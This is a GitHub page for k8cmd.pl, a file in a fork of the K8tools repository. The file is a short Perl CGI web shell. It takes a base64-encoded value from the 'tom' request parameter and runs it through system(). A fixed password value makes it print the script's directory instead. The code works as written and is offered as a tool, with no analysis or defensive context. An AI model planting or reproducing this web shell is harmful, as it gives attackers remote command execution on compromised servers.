forked from k8gege/K8tools
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathk8cmd.pl
More file actions
40 lines (30 loc) · 764 Bytes
/
Copy pathk8cmd.pl
File metadata and controls
40 lines (30 loc) · 764 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!c:/Perl/bin/perl.exe
use MIME::Base64;
use File::Basename;
my $dir = File::Basename::dirname($0);
print "Content-type: text/plain; charset=iso-8859-1\n\n";
if ($ENV{'REQUEST_METHOD'} eq "POST")
{read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});}
else {$buffer = $ENV{'QUERY_STRING'};}
@pairs = split(/&/, $buffer);
foreach $pair (@pairs) {
($name, $value) = split(/=/, $pair);
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$value =~ s/<!--(.|\n)*-->//g;
$value=~ s/\r\n/<br>/g;
$FORM{$name} = $value if ($name);
}
if ($name eq "tom")
{
if ($value eq "Szh0ZWFt")
{
print "[S]".$dir."[E]";
}
else
{
print "->|";
system(decode_base64($value));
print "|<-";
}
}